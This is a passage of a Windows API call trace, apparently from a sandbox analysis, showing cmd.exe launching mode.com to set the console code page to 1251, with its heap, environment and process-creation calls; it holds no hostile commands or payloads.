0x254 [0225.730] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="mode con cp select=1251\n", cchWideChar=-1, lpMultiByteStr=0x7ff7524b9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mode con cp select=1251\n", lpUsedDefaultChar=0x0) returned 25 [0225.730] WriteFile (in: hFile=0x254, lpBuffer=0x7ff7524b9970*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0xbef98ff7e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7524b9970*, lpNumberOfBytesWritten=0xbef98ff7e8*=0x18, lpOverlapped=0x0) returned 1 [0225.730] GetProcessHeap () returned 0x2743ba20000 [0225.730] RtlAllocateHeap (HeapHandle=0x2743ba20000, Flags=0x8, Size=0x4012) returned 0x2743ba28e90 [0225.730] GetProcessHeap () returned 0x2743ba20000 [0225.731] RtlFreeHeap (HeapHandle=0x2743ba20000, Flags=0x0, BaseAddress=0x2743ba28e90) returned 1 [0225.731] _wcsicmp (_String1="mode", _String2=")") returned 68 [0225.731] _wcsicmp (_String1="FOR", _String2="mode") returned -7 [0225.731] _wcsicmp (_String1="FOR/?", _String2="mode") returned -7 [0225.731] _wcsicmp (_String1="IF", _String2="mode") returned -4 [0225.731] _wcsicmp (_String1="IF/?", _String2="mode") returned -4 [0225.731] _wcsicmp (_String1="REM", _String2="mode") returned 5 [0225.731] _wcsicmp (_String1="REM/?", _String2="mode") returned 5 [0225.732] GetProcessHeap () returned 0x2743ba20000 [0225.732] RtlAllocateHeap (HeapHandle=0x2743ba20000, Flags=0x8, Size=0xb0) returned 0x2743ba27340 [0225.732] GetProcessHeap () returned 0x2743ba20000 [0225.732] RtlAllocateHeap (HeapHandle=0x2743ba20000, Flags=0x8, Size=0x1a) returned 0x2743ba275e0 [0225.735] GetProcessHeap () returned 0x2743ba20000 [0225.735] RtlAllocateHeap (HeapHandle=0x2743ba20000, Flags=0x8, Size=0x38) returned 0x2743ba27610 [0225.745] GetConsoleOutputCP () returned 0x1b5 [0226.442] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff7524bfbb0 | out: lpCPInfo=0x7ff7524bfbb0) returned 1 [0226.442] SetThreadUILanguage (LangId=0x0) returned 0x409 [0227.509] GetConsoleTitleW (in: lpConsoleTitle=0xbef98ff630, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0228.202] malloc (_Size=0xffce) returned 0x2743bb90840 [0228.202] ??_V@YAXPEAX@Z () returned 0x2743bb90840 [0228.203] malloc (_Size=0xffce) returned 0x2743bba0820 [0228.203] ??_V@YAXPEAX@Z () returned 0x2743bba0820 [0228.204] _wcsicmp (_String1="mode", _String2="DIR") returned 9 [0228.204] _wcsicmp (_String1="mode", _String2="ERASE") returned 8 [0228.204] _wcsicmp (_String1="mode", _String2="DEL") returned 9 [0228.204] _wcsicmp (_String1="mode", _String2="TYPE") returned -7 [0228.204] _wcsicmp (_String1="mode", _String2="COPY") returned 10 [0228.204] _wcsicmp (_String1="mode", _String2="CD") returned 10 [0228.204] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10 [0228.204] _wcsicmp (_String1="mode", _String2="RENAME") returned -5 [0228.204] _wcsicmp (_String1="mode", _String2="REN") returned -5 [0228.204] _wcsicmp (_String1="mode", _String2="ECHO") returned 8 [0228.204] _wcsicmp (_String1="mode", _String2="SET") returned -6 [0228.204] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3 [0228.204] _wcsicmp (_String1="mode", _String2="DATE") returned 9 [0228.204] _wcsicmp (_String1="mode", _String2="TIME") returned -7 [0228.205] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3 [0228.205] _wcsicmp (_String1="mode", _String2="MD") returned 11 [0228.205] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4 [0228.205] _wcsicmp (_String1="mode", _String2="RD") returned -5 [0228.205] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5 [0228.205] _wcsicmp (_String1="mode", _String2="PATH") returned -3 [0228.205] _wcsicmp (_String1="mode", _String2="GOTO") returned 6 [0228.205] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6 [0228.205] _wcsicmp (_String1="mode", _String2="CLS") returned 10 [0228.205] _wcsicmp (_String1="mode", _String2="CALL") returned 10 [0228.205] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9 [0228.205] _wcsicmp (_String1="mode", _String2="VER") returned -9 [0228.205] _wcsicmp (_String1="mode", _String2="VOL") returned -9 [0228.205] _wcsicmp (_String1="mode", _String2="EXIT") returned 8 [0228.205] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6 [0228.205] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8 [0228.205] _wcsicmp (_String1="mode", _String2="TITLE") returned -7 [0228.205] _wcsicmp (_String1="mode", _String2="START") returned -6 [0228.205] _wcsicmp (_String1="mode", _String2="DPATH") returned 9 [0228.205] _wcsicmp (_String1="mode", _String2="KEYS") returned 2 [0228.205] _wcsicmp (_String1="mode", _String2="MOVE") returned -18 [0228.205] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3 [0228.205] _wcsicmp (_String1="mode", _String2="POPD") returned -3 [0228.205] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12 [0228.205] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7 [0228.205] _wcsicmp (_String1="mode", _String2="BREAK") returned 11 [0228.205] _wcsicmp (_String1="mode", _String2="COLOR") returned 10 [0228.205] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4 [0228.205] _wcsicmp (_String1="mode", _String2="DIR") returned 9 [0228.206] _wcsicmp (_String1="mode", _String2="ERASE") returned 8 [0228.206] _wcsicmp (_String1="mode", _String2="DEL") returned 9 [0228.206] _wcsicmp (_String1="mode", _String2="TYPE") returned -7 [0228.206] _wcsicmp (_String1="mode", _String2="COPY") returned 10 [0228.206] _wcsicmp (_String1="mode", _String2="CD") returned 10 [0228.206] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10 [0228.206] _wcsicmp (_String1="mode", _String2="RENAME") returned -5 [0228.206] _wcsicmp (_String1="mode", _String2="REN") returned -5 [0228.206] _wcsicmp (_String1="mode", _String2="ECHO") returned 8 [0228.206] _wcsicmp (_String1="mode", _String2="SET") returned -6 [0228.206] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3 [0228.206] _wcsicmp (_String1="mode", _String2="DATE") returned 9 [0228.206] _wcsicmp (_String1="mode", _String2="TIME") returned -7 [0228.206] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3 [0228.206] _wcsicmp (_String1="mode", _String2="MD") returned 11 [0228.206] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4 [0228.206] _wcsicmp (_String1="mode", _String2="RD") returned -5 [0228.206] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5 [0228.206] _wcsicmp (_String1="mode", _String2="PATH") returned -3 [0228.206] _wcsicmp (_String1="mode", _String2="GOTO") returned 6 [0228.206] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6 [0228.206] _wcsicmp (_String1="mode", _String2="CLS") returned 10 [0228.206] _wcsicmp (_String1="mode", _String2="CALL") returned 10 [0228.206] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9 [0228.206] _wcsicmp (_String1="mode", _String2="VER") returned -9 [0228.206] _wcsicmp (_String1="mode", _String2="VOL") returned -9 [0228.206] _wcsicmp (_String1="mode", _String2="EXIT") returned 8 [0228.206] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6 [0228.207] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8 [0228.207] _wcsicmp (_String1="mode", _String2="TITLE") returned -7 [0228.207] _wcsicmp (_String1="mode", _String2="START") returned -6 [0228.207] _wcsicmp (_String1="mode", _String2="DPATH") returned 9 [0228.207] _wcsicmp (_String1="mode", _String2="KEYS") returned 2 [0228.207] _wcsicmp (_String1="mode", _String2="MOVE") returned -18 [0228.207] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3 [0228.207] _wcsicmp (_String1="mode", _String2="POPD") returned -3 [0228.207] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12 [0228.207] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7 [0228.207] _wcsicmp (_String1="mode", _String2="BREAK") returned 11 [0228.207] _wcsicmp (_String1="mode", _String2="COLOR") returned 10 [0228.207] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4 [0228.207] _wcsicmp (_String1="mode", _String2="FOR") returned 7 [0228.207] _wcsicmp (_String1="mode", _String2="IF") returned 4 [0228.207] _wcsicmp (_String1="mode", _String2="REM") returned -5 [0228.207] ??_V@YAXPEAX@Z () returned 0x1 [0228.207] GetProcessHeap () returned 0x2743ba20000 [0228.207] RtlAllocateHeap (HeapHandle=0x2743ba20000, Flags=0x8, Size=0xffde) returned 0x2743ba28e90 [0228.209] GetProcessHeap () returned 0x2743ba20000 [0228.209] RtlAllocateHeap (HeapHandle=0x2743ba20000, Flags=0x8, Size=0x42) returned 0x2743ba26490 [0228.209] _wcsnicmp (_String1="mode", _String2="cmd ", _MaxCount=0x4) returned 10 [0228.209] malloc (_Size=0xffce) returned 0x2743bba0820 [0228.209] ??_V@YAXPEAX@Z () returned 0x2743bba0820 [0228.209] GetProcessHeap () returned 0x2743ba20000 [0228.209] RtlAllocateHeap (HeapHandle=0x2743ba20000, Flags=0x8, Size=0x1ffac) returned 0x2743ba38e80 [0228.211] SetErrorMode (uMode=0x0) returned 0x0 [0228.211] SetErrorMode (uMode=0x1) returned 0x0 [0228.211] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x2743ba38e90, lpFilePart=0xbef98feeb0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0xbef98feeb0*="system32") returned 0x13 [0228.211] SetErrorMode (uMode=0x0) returned 0x1 [0228.211] GetProcessHeap () returned 0x2743ba20000 [0228.211] RtlReAllocateHeap (Heap=0x2743ba20000, Flags=0x0, Ptr=0x2743ba38e80, Size=0x42) returned 0x2743ba38e80 [0228.211] GetProcessHeap () returned 0x2743ba20000 [0228.211] RtlSizeHeap (HeapHandle=0x2743ba20000, Flags=0x0, MemoryPointer=0x2743ba38e80) returned 0x42 [0228.211] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff7524bbb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps;") returned 0xbc [0228.211] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0228.211] GetProcessHeap () returned 0x2743ba20000 [0228.212] RtlAllocateHeap (HeapHandle=0x2743ba20000, Flags=0x8, Size=0x1b6) returned 0x2743ba277c0 [0228.212] GetProcessHeap () returned 0x2743ba20000 [0228.212] RtlAllocateHeap (HeapHandle=0x2743ba20000, Flags=0x8, Size=0x35c) returned 0x2743ba38ee0 [0228.223] GetProcessHeap () returned 0x2743ba20000 [0228.223] RtlReAllocateHeap (Heap=0x2743ba20000, Flags=0x0, Ptr=0x2743ba38ee0, Size=0x1b8) returned 0x2743ba38ee0 [0228.223] GetProcessHeap () returned 0x2743ba20000 [0228.223] RtlSizeHeap (HeapHandle=0x2743ba20000, Flags=0x0, MemoryPointer=0x2743ba38ee0) returned 0x1b8 [0228.223] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff7524bbb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0228.223] GetProcessHeap () returned 0x2743ba20000 [0228.223] RtlAllocateHeap (HeapHandle=0x2743ba20000, Flags=0x8, Size=0xe8) returned 0x2743ba27980 [0228.225] GetProcessHeap () returned 0x2743ba20000 [0228.225] RtlReAllocateHeap (Heap=0x2743ba20000, Flags=0x0, Ptr=0x2743ba27980, Size=0x7e) returned 0x2743ba27980 [0228.225] GetProcessHeap () returned 0x2743ba20000 [0228.225] RtlSizeHeap (HeapHandle=0x2743ba20000, Flags=0x0, MemoryPointer=0x2743ba27980) returned 0x7e [0228.225] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0228.226] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\mode.*", fInfoLevelId=0x1, lpFindFileData=0xbef98fec20, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xbef98fec20) returned 0x2743ba27a10 [0228.226] GetProcessHeap () returned 0x2743ba20000 [0228.226] RtlAllocateHeap (HeapHandle=0x2743ba20000, Flags=0x0, Size=0x28) returned 0x2743ba264e0 [0228.226] FindClose (in: hFindFile=0x2743ba27a10 | out: hFindFile=0x2743ba27a10) returned 1 [0228.226] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\mode.COM", fInfoLevelId=0x1, lpFindFileData=0xbef98fec20, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xbef98fec20) returned 0x2743ba26510 [0228.226] GetProcessHeap () returned 0x2743ba20000 [0228.227] RtlReAllocateHeap (Heap=0x2743ba20000, Flags=0x0, Ptr=0x2743ba264e0, Size=0x8) returned 0x2743ba264e0 [0228.227] FindClose (in: hFindFile=0x2743ba26510 | out: hFindFile=0x2743ba26510) returned 1 [0228.227] _wcsicmp (_String1=".COM", _String2=".BAT") returned 1 [0228.227] _wcsicmp (_String1=".COM", _String2=".CMD") returned 2 [0228.227] ??_V@YAXPEAX@Z () returned 0x1 [0228.227] GetConsoleTitleW (in: lpConsoleTitle=0xbef98ff1a0, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0228.769] GetProcessHeap () returned 0x2743ba20000 [0228.769] RtlAllocateHeap (HeapHandle=0x2743ba20000, Flags=0x8, Size=0x21c) returned 0x2743ba390b0 [0228.769] GetConsoleTitleW (in: lpConsoleTitle=0x2743ba390c0, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0228.971] GetProcessHeap () returned 0x2743ba20000 [0228.971] RtlReAllocateHeap (Heap=0x2743ba20000, Flags=0x0, Ptr=0x2743ba390b0, Size=0x8c) returned 0x2743ba390b0 [0228.971] GetProcessHeap () returned 0x2743ba20000 [0228.971] RtlSizeHeap (HeapHandle=0x2743ba20000, Flags=0x0, MemoryPointer=0x2743ba390b0) returned 0x8c [0228.971] SetConsoleTitleW (lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe - mode con cp select=1251") returned 1 [0229.065] GetProcessHeap () returned 0x2743ba20000 [0229.065] RtlFreeHeap (HeapHandle=0x2743ba20000, Flags=0x0, BaseAddress=0x2743ba390b0) returned 1 [0229.065] InitializeProcThreadAttributeList (in: lpAttributeList=0xbef98ff0c0, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0xbef98fefb0 | out: lpAttributeList=0xbef98ff0c0, lpSize=0xbef98fefb0) returned 1 [0229.065] UpdateProcThreadAttribute (in: lpAttributeList=0xbef98ff0c0, dwFlags=0x0, Attribute=0x60001, lpValue=0xbef98fef9c, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0xbef98ff0c0, lpPreviousValue=0x0) returned 1 [0229.065] GetStartupInfoW (in: lpStartupInfo=0xbef98ff050 | out: lpStartupInfo=0xbef98ff050*(cb=0x68, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\WINDOWS\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x248, hStdOutput=0x254, hStdError=0x254)) [0229.066] GetProcessHeap () returned 0x2743ba20000 [0229.066] RtlAllocateHeap (HeapHandle=0x2743ba20000, Flags=0x8, Size=0x20) returned 0x2743ba26510 [0229.066] _wcsnicmp (_String1="COPYCMD", _String2="=::=::\\", _MaxCount=0x7) returned 38 [0229.066] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0229.066] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0229.066] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0229.066] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0229.066] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0229.066] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0229.066] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0229.066] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0229.066] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0229.066] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0229.066] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0229.066] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0229.066] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0229.066] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0229.066] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0229.066] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0229.066] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0229.066] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0229.066] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0229.066] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0229.066] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0229.067] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0229.067] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0229.067] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0229.067] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0229.067] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0229.067] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0229.067] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0229.067] _wcsnicmp (_String1="COPYCMD", _String2="SESSION", _MaxCount=0x7) returned -16 [0229.067] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0229.067] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0229.067] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0229.067] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0229.067] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0229.067] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0229.067] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0229.067] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0229.067] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0229.067] GetProcessHeap () returned 0x2743ba20000 [0229.067] RtlFreeHeap (HeapHandle=0x2743ba20000, Flags=0x0, BaseAddress=0x2743ba26510) returned 1 [0229.067] GetProcessHeap () returned 0x2743ba20000 [0229.067] RtlAllocateHeap (HeapHandle=0x2743ba20000, Flags=0x8, Size=0x12) returned 0x2743ba26510 [0229.067] _get_osfhandle (_FileHandle=1) returned 0x254 [0229.067] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0 [0229.067] _get_osfhandle (_FileHandle=0) returned 0x248 [0229.067] SetConsoleMode (hConsoleHandle=0x248, dwMode=0x0) returned 0 [0229.067] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\mode.com", lpCommandLine="mode con cp select=1251", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\WINDOWS\\system32", lpStartupInfo=0xbef98fefe0*(cb=0x70, lpReserved=0x0, lpDesktop="Winsta0\\Default", lpTitle="mode con cp select=1251", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xbef98fefb8 | out: lpCommandLine="mode con cp select=1251", lpProcessInformation=0xbef98fefb8*(hProcess=0x9c, hThread=0x98, dwProcessId=0xe40, dwThreadId=0xe44)) returned 1 [0229.096] CloseHandle (hObject=0x98) returned 1 [0229.096] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0229.096] GetProcessHeap () returned 0x2743ba20000 [0229.096] RtlFreeHeap (HeapHandle=0x2743ba20000, Flags=0x0, BaseAddress=0x2743ba26570) returned 1 [0229.096] GetEnvironmentStringsW () returned 0x2743ba26530* [0229.096] GetProcessHeap () returned 0x2743ba20000 [0229.096] RtlAllocateHeap (HeapHandle=0x2743ba20000, Flags=0x8, Size=0xafe) returned 0x2743ba39460 [0229.096] FreeEnvironmentStringsA (penv="=") returned 1 [0229.097] LoadLibraryExW (lpLibFileName="NTDLL.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffe20970000 [0229.097] GetProcAddress (hModule=0x7ffe20970000, lpProcName="NtQueryInformationProcess") returned 0x7ffe20a156b0 [0229.097] NtQueryInformationProcess (in: ProcessHandle=0x9c, ProcessInformationClass=0x0, ProcessInformation=0xbef98fe4b8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0xbef98fe4b8, ReturnLength=0x0) returned 0x0 [0229.097] ReadProcessMemory (in: hProcess=0x9c, lpBaseAddress=0x13ff08b000, lpBuffer=0xbef98fe4f0, nSize=0x7a0, lpNumberOfBytesRead=0xbef98fe4b0 | out: lpBuffer=0xbef98fe4f0*, lpNumberOfBytesRead=0xbef98fe4b0*=0x7a0) returned 1 [0229.099] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0xffffffff) returned 0x0 [0242.621] GetExitCodeProcess (in: hProcess=0x9c, lpExitCode=0xbef98fef38 | out: lpExitCode=0xbef98fef38*=0x0) returned 1 [0242.621] CloseHandle (hObject=0x9c) returned 1 [0242.621] _vsnwprintf (in: _Buffer=0xbef98ff108, _BufferCount=0x13, _Format="%08X", _ArgList=0xbef98fef48 | out: _Buffer="00000000") returned 8 [0242.622] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0242.622] GetProcessHeap () returned 0x2743ba20000 [0242.622] RtlFreeHeap (HeapHandle=0x2743ba20000, Flags=0x0, BaseAddress=0x2743ba39460) returned 1 [0242.622] GetEnvironmentStringsW () returned 0x2743ba39460* [0242.623] GetProcessHeap () returned 0x2743ba20000 [0242.623] RtlAllocateHeap (HeapHandle=0x2743ba20000, Flags=0x8, Size=0xb24) returned 0x2743ba39f90 [0242.623] FreeEnvironmentStringsA (penv="=") returned 1 [0242.623] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0242.623] GetProcessHeap () returned 0x2743ba20000 [0242.623] RtlFreeHeap (HeapHandle=0x2743ba20000, Flags=0x0, BaseAddress=0x2743ba39f90) returned 1 [0242.623] GetEnvironmentStringsW () returned 0x2743ba39460* [0242.623] GetProcessHeap () returned 0x2743ba20000 [0242.623] RtlAllocateHeap (HeapHandle=0x2743ba20000, Flags=0x8, Size=0xb24) returned 0x2743ba39f90 [0242.623] FreeEnvironmentStringsA (penv="=") returned 1 [0242.623] GetProcessHeap () returned 0x2743ba20000 [0242.624] RtlFreeHeap (HeapHandle=0x2743ba20000, Flags=0x0, BaseAddress=0x2743ba26510) returned 1 [0242.624] DeleteProcThreadAttributeList (in: lpAttributeList=0xbef98ff0c0 | out: lpAttributeList=0xbef98ff0c0) [0242.624] SetConsoleTitleW (lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 1 [0242.681] ??_V@YAXPEAX@Z () returned 0x1 [0242.681] _get_osfhandle (_FileHandle=1) returned 0x254 [0242.681] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0 [0242.682] _get_osfhandle (_FileHandle=1) returned 0x254 [0242.682] GetConsoleMode (in: hConsoleHandle=0x254, lpMode=0x7ff7524bfc08 | out: lpMode=0x7ff7524bfc08) returned 0 [0242.682] _get_osfhandle (_FileHandle=0) returned 0x248 [0242.682] GetConsoleMode (in: hConsoleHandle=0x248, lpMode=0x7ff7524bfc0c | out: lpMode=0x7ff7524bfc0c) returned 0 [0242.682] GetConsoleOutputCP () returned 0x4e3 [0242.722] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x7ff7524bfbb0 | out: lpCPInfo=0x7ff7524bfbb0) returned 1 [0242.722] SetThreadUILanguage (LangId=0x0) returned 0x409 [0243.315] GetProcessHeap () returned 0x2743ba20000 [0243.315] RtlFreeHeap (HeapHandle=0x2743ba20000, Flags=0x0, BaseAddress=0x2743ba27980) returned 1 [0243.315] GetProcessHeap () returned 0x2743ba20000 [0243.315] RtlFreeHeap (HeapHandle=0x2743ba20000, Flags=0x0, BaseAddress=0x2743ba38ee0) returned 1 [0243.315] GetProcessHeap () returned 0x2743ba20000 [0243.315] RtlFreeHeap (HeapHandle=0x2743ba20000, Flags=0x0, BaseAddress=0x2743ba277c0) returned 1 [0243.315] GetProcessHeap () returned 0x2743ba20000 [0243.315] RtlFreeHeap (HeapHandle=0x2743ba20000, Flags=0x0, BaseAddress=0x2743ba38e80) returned 1 [0243.315] GetProcessHeap () returned 0x2743ba20000 [0243.315] RtlFreeHeap (HeapHandle=0x2743ba20000, Flags=0x0, BaseAddress=0x2743ba26490) returned 1 [0243.315] GetProcessHeap () returned 0x2743ba20000 [0243.315] RtlFreeHeap (HeapHandle=0x2743ba20000, Flags=0x0, BaseAddress=0x2743ba28e90) returned 1 [0243.315] GetProcessHeap () returned 0x2743ba20000 [0243.315] RtlFreeHeap (HeapHandle=0x2743ba20000, Flags=0x0, BaseAddress=0x2743ba27610) returned 1 [0243.315] GetProcessHeap () returned 0x2743ba20000 [0243.315] RtlFreeHeap (HeapHandle=0x2743ba20000, Flags=0x0, BaseAddress=0x2743ba275e0) returned 1 [0243.315] GetProcessHeap () returned 0x2743ba20000 [0243.315] RtlFreeHeap (HeapHandle=0x2743ba20000, Flags=0x0, BaseAddress=0x2743ba27340) returned 1 [0243.315] _vsnwprintf (in: _Buffer=0x7ff7524c7f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0xbef98ff4e8 | out: _Buffer="\r\n") returned 2 [0243.315] _get_osfhandle (_FileHandle=1) returned 0x254 [0243.315] GetFileType (hFile=0x254) returned 0x3 [0243.316] _get_osfhandle (_FileHandle=1) returned 0x254 [0243.316] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff7524b9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0243.316] WriteFile (in: hFile=0x254, lpBuffer=0x7ff7524b9970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0xbef98ff4b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7524b9970*, lpNumberOfBytesWritten=0xbef98ff4b8*=0x2, lpOverlapped=0x0) returned 1 [0243.316] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff7524bbb90, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0243.316] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x2743bb70080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0243.316] _vsnwprintf (in: _Buffer=0x2743bb80060, _BufferCount=0x83e5, _Format="%s", _ArgList=0xbef98ff4f8 | out: _Buffer="C:\\WINDOWS\\system32") returned 19 [0243.316] _vsnwprintf (in: _Buffer=0x2743bb80086, _BufferCount=0x83d2, _Format="%c", _ArgList=0xbef98ff4f8 | out: _Buffer=">") returned 1 [0243.316] _get_osfhandle (_FileHandle=1) returned 0x254 [0243.316] GetFileType (hFile=0x254) returned 0x3 [0243.316] _get_osfhandle (_FileHandle=1) returned 0x254 [0243.316] WideCharToMultiByte (in: 